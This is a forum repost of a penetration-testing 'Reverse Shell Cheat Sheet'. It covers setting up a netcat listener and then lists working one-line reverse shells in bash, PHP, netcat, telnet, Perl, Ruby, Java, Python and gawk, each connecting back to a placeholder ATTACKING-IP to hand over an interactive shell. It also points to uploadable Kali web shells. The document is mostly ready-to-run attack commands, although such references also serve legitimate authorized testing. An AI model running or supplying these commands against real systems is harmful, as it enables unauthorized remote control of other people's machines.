Reverse Shell Cheat Sheet

by jamied_uk 5th August 2017, 20:16

Reverse Shell Cheat Sheet

cheat-sheet
29 Mar 2015 Reverse Shell Cheat Sheet Arr0way

https://highon.coffee/blog/reverse-shell-cheat-sheet/

During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.
Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.
Set your Netcat listening shell on an allowed port
Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443
To setup a listening netcat instance, enter the following:

Code:: root@kali:~# nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ...

NAT requires a port forward
If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.
ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

Code:: exec /bin/bash 0&0 2>&0

Code:: 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

Code:: exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

Code:: bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

Code:: php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Netcat Reverse Shell

Code:: nc -e /bin/sh ATTACKING-IP 80

Code:: /bin/sh | nc ATTACKING-IP 80

Code:: rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

Code:: rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

Code:: telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

Code:: perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

Code:: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Code:: perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

Code:: ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

Code:: r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

Python Reverse Shell

Code:: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

Code:: #!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } }

Kali Web Shells

The following shells exist within Kali Linux, under

Code:: /usr/share/webshells/

these are only useful if you are able to upload, inject or transfer the shell to the machine.